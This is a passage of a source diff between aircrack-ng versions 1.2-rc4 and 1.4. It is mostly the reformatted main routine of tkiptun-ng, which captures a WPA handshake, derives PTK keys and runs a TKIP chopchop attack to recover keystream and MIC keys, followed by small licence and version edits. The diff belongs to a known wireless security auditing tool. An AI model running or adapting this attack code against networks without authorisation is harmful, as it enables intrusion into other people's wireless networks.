+				buf[0] = s[0];
+				buf[1] = s[1];
+				buf[2] = '\0';
+				i = 0;
+				j = 0;
+				while (sscanf(buf, "%x", &n) == 1)
+				{
+					if (n < 0 || n > 255)
+					{
+						printf("Invalid keystream.\n");
+						printf("\"%s --help\" for help.\n", argv[0]);
+						return (1);
+					}
+					opt.oldkeystream[opt.oldkeystreamlen] = n;
+					opt.oldkeystreamlen++;
+					s += 2;
+					buf[0] = s[0];
+					buf[1] = s[1];
+				}
+				break;
+
+			case 'P':
+
+				memset(opt.pmk, 0, sizeof(opt.pmk));
+				i = hexStringToArray(optarg, strlen(optarg), opt.pmk, 128);
+				if (i == -1)
+				{
+					printf("Invalid value. It requires 128 bytes of PMK in "
+						   "hexadecimal.\n");
+					return (1);
+				}
+				opt.got_pmk = 1;
+				break;
+
+			case 'p':
+
+				memset(opt.psk, 0, sizeof(opt.psk));
+				if (strlen(optarg) < 8 || strlen(optarg) > 63)
+				{
+					printf("PSK with invalid length specified [8-64].\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				strncpy(opt.psk, optarg, sizeof(opt.psk) - 1);
+				opt.got_psk = 1;
+				break;
+
+			case 'M':
+
+				ret = sscanf(optarg, "%d", &opt.mic_failure_interval);
+				if (ret != 1 || opt.mic_failure_interval < 0)
+				{
+					printf("Invalid MIC error timeout. [>=0]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
 
-            default : goto usage;
-        }
-    }
+			default:
+				goto usage;
+		}
+	}
 
-    if( argc - optind != 1 )
-    {
-    	if(argc == 1)
-    	{
-usage:
-	        printf( usage, getVersion("Tkiptun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-        }
-	    if( argc - optind == 0)
-	    {
-	    	printf("No replay interface specified.\n");
-	    }
-	    if(argc > 1)
-	    {
-    		printf("\"%s --help\" for help.\n", argv[0]);
-	    }
-        return( 1 );
-    }
+	if (argc - optind != 1)
+	{
+		if (argc == 1)
+		{
+		usage:
+			printf(
+				usage,
+				getVersion(
+					"Tkiptun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
+		}
+		if (argc - optind == 0)
+		{
+			printf("No replay interface specified.\n");
+		}
+		if (argc > 1)
+		{
+			printf("\"%s --help\" for help.\n", argv[0]);
+		}
+		return (1);
+	}
 
-    if( !opt.r_smac_set )
-    {
-        printf( "A Client MAC must be specified (-h).\n");
-        printf("\"%s --help\" for help.\n", argv[0]);
-        return( 1 );
-    }
+	if (!opt.r_smac_set)
+	{
+		printf("A Client MAC must be specified (-h).\n");
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return (1);
+	}
 
-    if( (opt.f_minlen > 0 && opt.f_maxlen > 0) && opt.f_minlen > opt.f_maxlen )
-    {
-        printf( "Invalid length filter (min(-m):%d > max(-n):%d).\n",
-                opt.f_minlen, opt.f_maxlen );
-        printf("\"%s --help\" for help.\n", argv[0]);
-        return( 1 );
-    }
+	if ((opt.f_minlen > 0 && opt.f_maxlen > 0) && opt.f_minlen > opt.f_maxlen)
+	{
+		printf("Invalid length filter (min(-m):%d > max(-n):%d).\n",
+			   opt.f_minlen,
+			   opt.f_maxlen);
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return (1);
+	}
 
-    if ( opt.f_tods == 1 && opt.f_fromds == 1 )
-    {
-        printf( "FromDS and ToDS bit are set: packet has to come from the AP and go to the AP\n" );
-    }
+	if (opt.f_tods == 1 && opt.f_fromds == 1)
+	{
+		printf("FromDS and ToDS bit are set: packet has to come from the AP "
+			   "and go to the AP\n");
+	}
 
-    dev.fd_rtc = -1;
+	dev.fd_rtc = -1;
 
-    /* open the RTC device if necessary */
+/* open the RTC device if necessary */
 
 #if defined(__i386__)
 #if defined(linux)
-    if( ( dev.fd_rtc = open( "/dev/rtc0", O_RDONLY ) ) < 0 )
-    {
-        dev.fd_rtc = 0;
-    }
+	if ((dev.fd_rtc = open("/dev/rtc0", O_RDONLY)) < 0)
+	{
+		dev.fd_rtc = 0;
+	}
 
-    if( (dev.fd_rtc == 0) && ( ( dev.fd_rtc = open( "/dev/rtc", O_RDONLY ) ) < 0 ) )
-    {
-        dev.fd_rtc = 0;
-    }
+	if ((dev.fd_rtc == 0) && ((dev.fd_rtc = open("/dev/rtc", O_RDONLY)) < 0))
+	{
+		dev.fd_rtc = 0;
+	}
 
-    if(dev.fd_rtc > 0)
-    {
-        if( ioctl( dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION ) < 0 )
-        {
-            perror( "ioctl(RTC_IRQP_SET) failed" );
-            printf(
-"Make sure enhanced rtc device support is enabled in the kernel (module\n"
-"rtc, not genrtc) - also try 'echo 1024 >/proc/sys/dev/rtc/max-user-freq'.\n" );
-            close( dev.fd_rtc );
-            dev.fd_rtc = -1;
-        }
-        else
-        {
-            if( ioctl( dev.fd_rtc, RTC_PIE_ON, 0 ) < 0 )
-            {
-                perror( "ioctl(RTC_PIE_ON) failed" );
-                close( dev.fd_rtc );
-                dev.fd_rtc = -1;
-            }
-        }
-    }
-    else
-    {
-        printf( "For information, no action required:"
-                " Using gettimeofday() instead of /dev/rtc\n" );
-        dev.fd_rtc = -1;
-    }
+	if (dev.fd_rtc > 0)
+	{
+		if (ioctl(dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION) < 0)
+		{
+			perror("ioctl(RTC_IRQP_SET) failed");
+			printf("Make sure enhanced rtc device support is enabled in the "
+				   "kernel (module\n"
+				   "rtc, not genrtc) - also try 'echo 1024 "
+				   ">/proc/sys/dev/rtc/max-user-freq'.\n");
+			close(dev.fd_rtc);
+			dev.fd_rtc = -1;
+		}
+		else
+		{
+			if (ioctl(dev.fd_rtc, RTC_PIE_ON, 0) < 0)
+			{
+				perror("ioctl(RTC_PIE_ON) failed");
+				close(dev.fd_rtc);
+				dev.fd_rtc = -1;
+			}
+		}
+	}
+	else
+	{
+		printf("For information, no action required:"
+			   " Using gettimeofday() instead of /dev/rtc\n");
+		dev.fd_rtc = -1;
+	}
 #endif /* linux */
 #endif /* i386 */
 
-    opt.iface_out = argv[optind];
-    opt.port_out = get_ip_port(opt.iface_out, opt.ip_out, sizeof(opt.ip_out)-1);
-
-    //don't open interface(s) when using test mode and airserv
-    if( ! (opt.a_mode == 9 && opt.port_out >= 0 ) )
-    {
-        /* open the replay interface */
-        _wi_out = wi_open(opt.iface_out);
-        if (!_wi_out)
-            return 1;
-        dev.fd_out = wi_fd(_wi_out);
-
-        /* open the packet source */
-        if( opt.s_face != NULL )
-        {
-            //don't open interface(s) when using test mode and airserv
-            if( ! (opt.a_mode == 9 && opt.port_in >= 0 ) )
-            {
-                _wi_in = wi_open(opt.s_face);
-                if (!_wi_in)
-                    return 1;
-                dev.fd_in = wi_fd(_wi_in);
-                wi_get_mac(_wi_in, dev.mac_in);
-            }
-        }
-        else
-        {
-            _wi_in = _wi_out;
-            dev.fd_in = dev.fd_out;
-
-            /* XXX */
-            dev.arptype_in = dev.arptype_out;
-            wi_get_mac(_wi_in, dev.mac_in);
-        }
-
-        wi_get_mac(_wi_out, dev.mac_out);
-    }
-
-    /* drop privileges */
-    if (setuid( getuid() ) == -1) {
-	perror("setuid");
-    }
-
-    /* XXX */
-    if( opt.r_nbpps == 0 )
-    {
-        opt.r_nbpps = 10;
-    }
-
-
-    if( opt.s_file != NULL )
-    {
-        if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) )
-        {
-            perror( "open failed" );
-            return( 1 );
-        }
-
-        n = sizeof( struct pcap_file_header );
-
-        if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n )
-        {
-            perror( "fread(pcap file header) failed" );
-            return( 1 );
-        }
-
-        if( dev.pfh_in.magic != TCPDUMP_MAGIC &&
-            dev.pfh_in.magic != TCPDUMP_CIGAM )
-        {
-            fprintf( stderr, "\"%s\" isn't a pcap file (expected "
-                             "TCPDUMP_MAGIC).\n", opt.s_file );
-            return( 1 );
-        }
-
-        if( dev.pfh_in.magic == TCPDUMP_CIGAM )
-            SWAP32(dev.pfh_in.linktype);
-
-        if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 &&
-            dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER &&
-            dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR &&
-            dev.pfh_in.linktype != LINKTYPE_PPI_HDR )
-        {
-            fprintf( stderr, "Wrong linktype from pcap file header "
-                             "(expected LINKTYPE_IEEE802_11) -\n"
-                             "this doesn't look like a regular 802.11 "
-                             "capture.\n" );
-            return( 1 );
-        }
-    }
-
-    //if there is no -h given, use default hardware mac
-    if( maccmp( opt.r_smac, NULL_MAC) == 0 )
-    {
-        memcpy( opt.r_smac, dev.mac_out, 6);
-        if(opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9)
-        {
-            printf("No source MAC (-h) specified. Using the device MAC (%02X:%02X:%02X:%02X:%02X:%02X)\n",
-                    dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5]);
-        }
-    }
-
-    if( maccmp( opt.r_smac, dev.mac_out) != 0 && maccmp( opt.r_smac, NULL_MAC) != 0)
-    {
-//        if( dev.is_madwifi && opt.a_mode == 5 ) printf("For --fragment to work on madwifi[-ng], set the interface MAC according to (-h)!\n");
-        fprintf( stderr, "The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)"
-                 " doesn't match the specified MAC (-h).\n"
-                 "\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n",
-                 dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5],
-                 opt.iface_out, opt.r_smac[0], opt.r_smac[1], opt.r_smac[2], opt.r_smac[3], opt.r_smac[4], opt.r_smac[5] );
-    }
+	opt.iface_out = argv[optind];
+	opt.port_out
+		= get_ip_port(opt.iface_out, opt.ip_out, sizeof(opt.ip_out) - 1);
+
+	// don't open interface(s) when using test mode and airserv
+	if (!(opt.a_mode == 9 && opt.port_out >= 0))
+	{
+		/* open the replay interface */
+		_wi_out = wi_open(opt.iface_out);
+		if (!_wi_out) return 1;
+		dev.fd_out = wi_fd(_wi_out);
+
+		/* open the packet source */
+		if (opt.s_face != NULL)
+		{
+			// don't open interface(s) when using test mode and airserv
+			if (!(opt.a_mode == 9 && opt.port_in >= 0))
+			{
+				_wi_in = wi_open(opt.s_face);
+				if (!_wi_in) return 1;
+				dev.fd_in = wi_fd(_wi_in);
+				wi_get_mac(_wi_in, dev.mac_in);
+			}
+		}
+		else
+		{
+			_wi_in = _wi_out;
+			dev.fd_in = dev.fd_out;
+
+			/* XXX */
+			dev.arptype_in = dev.arptype_out;
+			wi_get_mac(_wi_in, dev.mac_in);
+		}
 
-    /* DO MICHAEL TEST */
+		wi_get_mac(_wi_out, dev.mac_out);
+	}
 
-    memset(buf, 0, 128);
-    memcpy(buf, "M", 1);
-    i = michael_test((unsigned char*)"\x82\x92\x5c\x1c\xa1\xd1\x30\xb8", (unsigned char*)buf, strlen(buf), (unsigned char*)"\x43\x47\x21\xca\x40\x63\x9b\x3f");
-    PCT; printf("Michael Test: %s\n", i ? "Successful" : "Failed");
+	/* drop privileges */
+	if (setuid(getuid()) == -1)
+	{
+		perror("setuid");
+	}
 
-    /* END MICHAEL TEST*/
+	/* XXX */
+	if (opt.r_nbpps == 0)
+	{
+		opt.r_nbpps = 10;
+	}
 
-    if(getnet(NULL, 0, 0) != 0)
-        return 1;
+	if (opt.s_file != NULL)
+	{
+		if (!(dev.f_cap_in = fopen(opt.s_file, "rb")))
+		{
+			perror("open failed");
+			return (1);
+		}
 
-    PCT; printf("Found specified AP\n");
+		n = sizeof(struct pcap_file_header);
 
-    got_hdsk=0;
-    while(1)
-    {
-        getHDSK();
-        for(i=0; i<10; i++)
-        {
-            read_sleep(500000);
-            if(opt.wpa.state == 7)
-            {
-                got_hdsk = 1;
-                break;
-            }
-        }
-        if(got_hdsk)
-            break;
-    }
-
-    if(!opt.got_pmk && opt.got_psk && strlen(opt.r_essid) > 1)
-    {
-        calc_pmk(opt.psk, opt.r_essid, opt.pmk);
-        PCT; printf("PSK: %s\n", opt.psk);
-        PCT; printf("PMK: ");
-        for(i=0; i<31; i++)
-            printf("%02X:", opt.pmk[i]);
-        printf("%02X\n", opt.pmk[31]);
-        opt.got_pmk = 1;
-    }
+		if (fread(&dev.pfh_in, 1, n, dev.f_cap_in) != (size_t) n)
+		{
+			perror("fread(pcap file header) failed");
+			return (1);
+		}
 
-    if(opt.got_pmk)
-    {
-        opt.wpa_sta.next = NULL;
-        memcpy(opt.wpa_sta.stmac, opt.r_smac, 6);
-        memcpy(opt.wpa_sta.bssid, opt.f_bssid, 6);
-        memcpy(opt.wpa_sta.snonce, opt.wpa.snonce, 32);
-        memcpy(opt.wpa_sta.anonce, opt.wpa.anonce, 32);
-        memcpy(opt.wpa_sta.keymic, opt.wpa.keymic, 20);
-        memcpy(opt.wpa_sta.eapol, opt.wpa.eapol, 256);
-        opt.wpa_sta.eapol_size = opt.wpa.eapol_size;
-        opt.wpa_sta.keyver = opt.wpa.keyver;
-        opt.wpa_sta.valid_ptk = calc_ptk( &opt.wpa_sta, opt.pmk );
-        PCT; printf("PTK: ");
-        for(i=0; i<79; i++)
-            printf("%02X:", opt.wpa_sta.ptk[i]);
-        printf("%02X\n", opt.wpa_sta.ptk[79]);
-        PCT; printf("Valid PTK: %s\n", (opt.wpa_sta.valid_ptk) ? "Yes" : "No!" );
-        if(opt.wpa_sta.valid_ptk)
-            opt.got_ptk = 1;
-
-        PCT; printf("KCK: ");
-        for(i=0; i<15; i++)
-            printf("%02X:", opt.wpa_sta.ptk[i]);
-        printf("%02X\n", opt.wpa_sta.ptk[15]);
-
-        PCT; printf("KEK: ");
-        for(i=16; i<31; i++)
-            printf("%02X:", opt.wpa_sta.ptk[i]);
-        printf("%02X\n", opt.wpa_sta.ptk[31]);
-
-        PCT; printf("Temporal Encryption Key (TK1): ");
-        for(i=32; i<47; i++)
-            printf("%02X:", opt.wpa_sta.ptk[i]);
-        printf("%02X\n", opt.wpa_sta.ptk[47]);
-
-        PCT; printf("Michael Key (FromDS): ");
-        for(i=48; i<55; i++)
-            printf("%02X:", opt.wpa_sta.ptk[i]);
-        printf("%02X\n", opt.wpa_sta.ptk[55]);
-
-        PCT; printf("Michael Key (ToDS): ");
-        for(i=56; i<63; i++)
-            printf("%02X:", opt.wpa_sta.ptk[i]);
-        printf("%02X\n", opt.wpa_sta.ptk[63]);
-    }
+		if (dev.pfh_in.magic != TCPDUMP_MAGIC
+			&& dev.pfh_in.magic != TCPDUMP_CIGAM)
+		{
+			fprintf(stderr,
+					"\"%s\" isn't a pcap file (expected "
+					"TCPDUMP_MAGIC).\n",
+					opt.s_file);
+			return (1);
+		}
 
-    /* Select ToDS ARP from Client */
+		if (dev.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(dev.pfh_in.linktype);
 
-    PCT; printf("Waiting for an ARP packet coming from the Client...\n");
+		if (dev.pfh_in.linktype != LINKTYPE_IEEE802_11
+			&& dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER
+			&& dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
+			&& dev.pfh_in.linktype != LINKTYPE_PPI_HDR)
+		{
+			fprintf(stderr,
+					"Wrong linktype from pcap file header "
+					"(expected LINKTYPE_IEEE802_11) -\n"
+					"this doesn't look like a regular 802.11 "
+					"capture.\n");
+			return (1);
+		}
+	}
 
-    opt.f_tods = 1;
-    opt.f_fromds = 0;
-    memcpy(opt.f_smac, opt.r_smac, 6);
-//    memcpy(opt.f_dmac, opt.f_bssid, 6);
-    if(opt.fast == -1)
-        opt.fast = 1;
+	// if there is no -h given, use default hardware mac
+	if (maccmp(opt.r_smac, NULL_MAC) == 0)
+	{
+		memcpy(opt.r_smac, dev.mac_out, 6);
+		if (opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9)
+		{
+			printf("No source MAC (-h) specified. Using the device MAC "
+				   "(%02X:%02X:%02X:%02X:%02X:%02X)\n",
+				   dev.mac_out[0],
+				   dev.mac_out[1],
+				   dev.mac_out[2],
+				   dev.mac_out[3],
+				   dev.mac_out[4],
+				   dev.mac_out[5]);
+		}
+	}
 
-    if(opt.f_minlen_set == 0) {
-        opt.f_minlen = 80;
-    }
-    if(opt.f_maxlen_set == 0) {
-        opt.f_maxlen = 80;
-    }
+	if (maccmp(opt.r_smac, dev.mac_out) != 0
+		&& maccmp(opt.r_smac, NULL_MAC) != 0)
+	{
+		//        if( dev.is_madwifi && opt.a_mode == 5 ) printf("For --fragment
+		//        to work on madwifi[-ng], set the interface MAC according to
+		//        (-h)!\n");
+		fprintf(stderr,
+				"The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)"
+				" doesn't match the specified MAC (-h).\n"
+				"\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n",
+				dev.mac_out[0],
+				dev.mac_out[1],
+				dev.mac_out[2],
+				dev.mac_out[3],
+				dev.mac_out[4],
+				dev.mac_out[5],
+				opt.iface_out,
+				opt.r_smac[0],
+				opt.r_smac[1],
+				opt.r_smac[2],
+				opt.r_smac[3],
+				opt.r_smac[4],
+				opt.r_smac[5]);
+	}
 
-    while(1)
-    {
-        if( capture_ask_packet( &caplen, 0 ) != 0 )
-            return( 1 );
-        if( is_qos_arp_tkip(h80211, caplen) == 1 )
-            break;
-    }
+	/* DO MICHAEL TEST */
 
-    memcpy(packet2, h80211, caplen);
-    packet2_len = caplen;
+	memset(buf, 0, 128);
+	memcpy(buf, "M", 1);
+	i = michael_test((unsigned char *) "\x82\x92\x5c\x1c\xa1\xd1\x30\xb8",
+					 (unsigned char *) buf,
+					 strlen(buf),
+					 (unsigned char *) "\x43\x47\x21\xca\x40\x63\x9b\x3f");
+	PCT;
+	printf("Michael Test: %s\n", i ? "Successful" : "Failed");
+
+	/* END MICHAEL TEST*/
+
+	if (getnet(NULL, 0, 0) != 0) return 1;
+
+	PCT;
+	printf("Found specified AP\n");
+
+	got_hdsk = 0;
+	while (1)
+	{
+		getHDSK();
+		for (i = 0; i < 10; i++)
+		{
+			read_sleep(500000);
+			if (opt.wpa.state == 7)
+			{
+				got_hdsk = 1;
+				break;
+			}
+		}
+		if (got_hdsk) break;
+	}
 
-    /* Select FromDS ARP to Client */
+	if (!opt.got_pmk && opt.got_psk && strlen(opt.r_essid) > 1)
+	{
+		calc_pmk(opt.psk, opt.r_essid, opt.pmk);
+		PCT;
+		printf("PSK: %s\n", opt.psk);
+		PCT;
+		printf("PMK: ");
+		for (i = 0; i < 31; i++) printf("%02X:", opt.pmk[i]);
+		printf("%02X\n", opt.pmk[31]);
+		opt.got_pmk = 1;
+	}
 
-    PCT; printf("Waiting for an ARP response packet coming from the AP...\n");
+	if (opt.got_pmk)
+	{
+		opt.wpa_sta.next = NULL;
+		memcpy(opt.wpa_sta.stmac, opt.r_smac, 6);
+		memcpy(opt.wpa_sta.bssid, opt.f_bssid, 6);
+		memcpy(opt.wpa_sta.snonce, opt.wpa.snonce, 32);
+		memcpy(opt.wpa_sta.anonce, opt.wpa.anonce, 32);
+		memcpy(opt.wpa_sta.keymic, opt.wpa.keymic, 20);
+		memcpy(opt.wpa_sta.eapol, opt.wpa.eapol, 256);
+		opt.wpa_sta.eapol_size = opt.wpa.eapol_size;
+		opt.wpa_sta.keyver = opt.wpa.keyver;
+		opt.wpa_sta.valid_ptk = calc_ptk(&opt.wpa_sta, opt.pmk);
+		PCT;
+		printf("PTK: ");
+		for (i = 0; i < 79; i++) printf("%02X:", opt.wpa_sta.ptk[i]);
+		printf("%02X\n", opt.wpa_sta.ptk[79]);
+		PCT;
+		printf("Valid PTK: %s\n", (opt.wpa_sta.valid_ptk) ? "Yes" : "No!");
+		if (opt.wpa_sta.valid_ptk) opt.got_ptk = 1;
+
+		PCT;
+		printf("KCK: ");
+		for (i = 0; i < 15; i++) printf("%02X:", opt.wpa_sta.ptk[i]);
+		printf("%02X\n", opt.wpa_sta.ptk[15]);
+
+		PCT;
+		printf("KEK: ");
+		for (i = 16; i < 31; i++) printf("%02X:", opt.wpa_sta.ptk[i]);
+		printf("%02X\n", opt.wpa_sta.ptk[31]);
+
+		PCT;
+		printf("Temporal Encryption Key (TK1): ");
+		for (i = 32; i < 47; i++) printf("%02X:", opt.wpa_sta.ptk[i]);
+		printf("%02X\n", opt.wpa_sta.ptk[47]);
+
+		PCT;
+		printf("Michael Key (FromDS): ");
+		for (i = 48; i < 55; i++) printf("%02X:", opt.wpa_sta.ptk[i]);
+		printf("%02X\n", opt.wpa_sta.ptk[55]);
+
+		PCT;
+		printf("Michael Key (ToDS): ");
+		for (i = 56; i < 63; i++) printf("%02X:", opt.wpa_sta.ptk[i]);
+		printf("%02X\n", opt.wpa_sta.ptk[63]);
+	}
 
-    opt.f_tods = 0;
-    opt.f_fromds = 1;
-    memcpy(opt.f_dmac, opt.r_smac, 6);
-    memcpy(opt.f_smac, NULL_MAC, 6);
+	/* Select ToDS ARP from Client */
 
-    if(opt.f_minlen_set == 0) {
-        opt.f_minlen = 80;
-    }
-    if(opt.f_maxlen_set == 0) {
-        opt.f_maxlen = 98;
-    }
+	PCT;
+	printf("Waiting for an ARP packet coming from the Client...\n");
 
-    while(1)
-    {
-        if( capture_ask_packet( &caplen, 0 ) != 0 )
-            return( 1 );
-        if( is_qos_arp_tkip(h80211, caplen) == 1 )
-            break;
-    }
+	opt.f_tods = 1;
+	opt.f_fromds = 0;
+	memcpy(opt.f_smac, opt.r_smac, 6);
+	//    memcpy(opt.f_dmac, opt.f_bssid, 6);
+	if (opt.fast == -1) opt.fast = 1;
+
+	if (opt.f_minlen_set == 0)
+	{
+		opt.f_minlen = 80;
+	}
+	if (opt.f_maxlen_set == 0)
+	{
+		opt.f_maxlen = 80;
+	}
 
-    memcpy(packet1, h80211, caplen);
-    packet1_len = caplen;
+	while (1)
+	{
+		if (capture_ask_packet(&caplen, 0) != 0) return (1);
+		if (is_qos_arp_tkip(h80211, caplen) == 1) break;
+	}
 
+	memcpy(packet2, h80211, caplen);
+	packet2_len = caplen;
 
-    PCT; printf("Got the answer!\n");
+	/* Select FromDS ARP to Client */
 
-    PCT; printf("Waiting 10 seconds to let encrypted EAPOL frames pass without interfering.\n");
-    read_sleep(10*1000000);
+	PCT;
+	printf("Waiting for an ARP response packet coming from the AP...\n");
 
-    memcpy(h80211, packet1, packet1_len);
+	opt.f_tods = 0;
+	opt.f_fromds = 1;
+	memcpy(opt.f_dmac, opt.r_smac, 6);
+	memcpy(opt.f_smac, NULL_MAC, 6);
+
+	if (opt.f_minlen_set == 0)
+	{
+		opt.f_minlen = 80;
+	}
+	if (opt.f_maxlen_set == 0)
+	{
+		opt.f_maxlen = 98;
+	}
 
-    /* Chop the packet down, get a keystream+plaintext, calculate the MIC Key */
+	while (1)
+	{
+		if (capture_ask_packet(&caplen, 0) != 0) return (1);
+		if (is_qos_arp_tkip(h80211, caplen) == 1) break;
+	}
 
-    if (do_attack_tkipchop(h80211, caplen) == 1)
-	return( 1 );
+	memcpy(packet1, h80211, caplen);
+	packet1_len = caplen;
 
-    /* derive IPs and MACs; relays on QoS, ARP and fromDS packet */
-    if(opt.chopped_from_plain != NULL)
-    {
-        memcpy(opt.ip_cli, opt.chopped_from_plain+58, 4);
-        memcpy(opt.ip_ap, opt.chopped_from_plain+48, 4);
-        memcpy(opt.r_apmac, opt.chopped_from_plain+42, 6);
-    }
+	PCT;
+	printf("Got the answer!\n");
 
-    PCT; printf("AP MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\n",
-                opt.r_apmac[0],opt.r_apmac[1],opt.r_apmac[2],opt.r_apmac[3],opt.r_apmac[4],opt.r_apmac[5],
-                opt.ip_ap[0],opt.ip_ap[1],opt.ip_ap[2],opt.ip_ap[3]);
-    PCT; printf("Client MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\n",
-                opt.r_smac[0],opt.r_smac[1],opt.r_smac[2],opt.r_smac[3],opt.r_smac[4],opt.r_smac[5],
-                opt.ip_cli[0],opt.ip_cli[1],opt.ip_cli[2],opt.ip_cli[3]);
+	PCT;
+	printf("Waiting 10 seconds to let encrypted EAPOL frames pass without "
+		   "interfering.\n");
+	read_sleep(10 * 1000000);
 
-    /* Send an ARP Request from the AP to the Client */
+	memcpy(h80211, packet1, packet1_len);
 
-    build_arp_request(h80211, &caplen, 0); //writes encrypted tkip arp request into h80211
-    send_packet(h80211, caplen);
-    PCT; printf("Sent encrypted tkip ARP request to the client.\n");
+	/* Chop the packet down, get a keystream+plaintext, calculate the MIC Key */
 
-    /* wait until we can generate a new mic failure */
+	if (do_attack_tkipchop(h80211, caplen) == 1) return (1);
 
-    PCT; printf("Wait for the mic countermeasure timeout of %i seconds.\n", opt.mic_failure_interval);
+	/* derive IPs and MACs; relays on QoS, ARP and fromDS packet */
+	if (opt.chopped_from_plain != NULL)
+	{
+		memcpy(opt.ip_cli, opt.chopped_from_plain + 58, 4);
+		memcpy(opt.ip_ap, opt.chopped_from_plain + 48, 4);
+		memcpy(opt.r_apmac, opt.chopped_from_plain + 42, 6);
+	}
 
-    while(1)
-    {
-        gettimeofday(&mic_fail, NULL);
-        if( (mic_fail.tv_sec - opt.last_mic_failure.tv_sec) * 1000000UL + (mic_fail.tv_usec - opt.last_mic_failure.tv_usec) > opt.mic_failure_interval * 1000000UL)
-            break;
-        sleep(1);
-    }
+	PCT;
+	printf("AP MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\n",
+		   opt.r_apmac[0],
+		   opt.r_apmac[1],
+		   opt.r_apmac[2],
+		   opt.r_apmac[3],
+		   opt.r_apmac[4],
+		   opt.r_apmac[5],
+		   opt.ip_ap[0],
+		   opt.ip_ap[1],
+		   opt.ip_ap[2],
+		   opt.ip_ap[3]);
+	PCT;
+	printf("Client MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\n",
+		   opt.r_smac[0],
+		   opt.r_smac[1],
+		   opt.r_smac[2],
+		   opt.r_smac[3],
+		   opt.r_smac[4],
+		   opt.r_smac[5],
+		   opt.ip_cli[0],
+		   opt.ip_cli[1],
+		   opt.ip_cli[2],
+		   opt.ip_cli[3]);
+
+	/* Send an ARP Request from the AP to the Client */
+
+	build_arp_request(
+		h80211, &caplen, 0); // writes encrypted tkip arp request into h80211
+	send_packet(h80211, caplen);
+	PCT;
+	printf("Sent encrypted tkip ARP request to the client.\n");
+
+	/* wait until we can generate a new mic failure */
+
+	PCT;
+	printf("Wait for the mic countermeasure timeout of %i seconds.\n",
+		   opt.mic_failure_interval);
+
+	while (1)
+	{
+		gettimeofday(&mic_fail, NULL);
+		if ((mic_fail.tv_sec - opt.last_mic_failure.tv_sec) * 1000000UL
+				+ (mic_fail.tv_usec - opt.last_mic_failure.tv_usec)
+			> opt.mic_failure_interval * 1000000UL)
+			break;
+		sleep(1);
+	}
 
-    /* Also chop the answer to get the equivalent MIC Key */
-    memcpy(h80211, packet2, packet2_len);
-    do_attack_tkipchop(h80211, caplen);
+	/* Also chop the answer to get the equivalent MIC Key */
+	memcpy(h80211, packet2, packet2_len);
+	do_attack_tkipchop(h80211, caplen);
 
-    /* that's all, folks */
+	/* that's all, folks */
 
-    return( 0 );
+	return (0);
 }

aircrack-ng-1.2-rc4.tar.gz/src/uniqueiv.c -> aircrack-ng-1.4.tar.gz/src/uniqueiv.c Changed

aircrack-ng-1.2-rc4.tar.gz/src/uniqueiv.h -> aircrack-ng-1.4.tar.gz/src/uniqueiv.h Changed

aircrack-ng-1.2-rc4.tar.gz/src/version.h -> aircrack-ng-1.4.tar.gz/src/version.h Changed

@@ -1,5 +1,5 @@
 /*
- * (c) 2010-2016 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ * (c) 2010-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
  *
  * This program is free software; you can redistribute it and/or
  * modify it under the terms of the GNU General Public License as
@@ -13,8 +13,8 @@
  *
  * You should have received a copy of the GNU General Public License
  * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston,
- * MA 02111-1307, USA.
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
  *
  * In addition, as a special exception, the copyright holders give
  * permission to link the code of portions of this program with the
@@ -31,11 +31,16 @@
  */
 
 #define _MAJ 1
-#define _MIN 2
+#define _MIN 4
 #define _SUB_MIN 0
 #define _BETA 0
-#define _RC 4
-#define WEBSITE "http://www.aircrack-ng.org"
+#define _RC 0
+#define WEBSITE "https://aircrack-ng.org"
 
-extern char * getVersion(char * progname, int maj, int min, int submin, int
-			 svnrev, int beta, int rc);
+extern char * getVersion(const char * progname,
+						 const unsigned int maj,
+						 const unsigned int min,
+						 const unsigned int submin,
+						 const char * rev,
+						 const unsigned int beta,
+						 const unsigned int rc);

aircrack-ng-1.2-rc4.tar.gz/src/wesside-ng.c -> aircrack-ng-1.4.tar.gz/src/wesside-ng.c Changed

@@ -13,7 +13,7 @@
  *
  *  You should have received a copy of the GNU General Public License
  *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
  *
  *
  *  In addition, as a special exception, the copyright holders give
@@ -30,7 +30,6 @@
  *  files in the program, then also delete it here.
  */
 
-
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <termios.h>
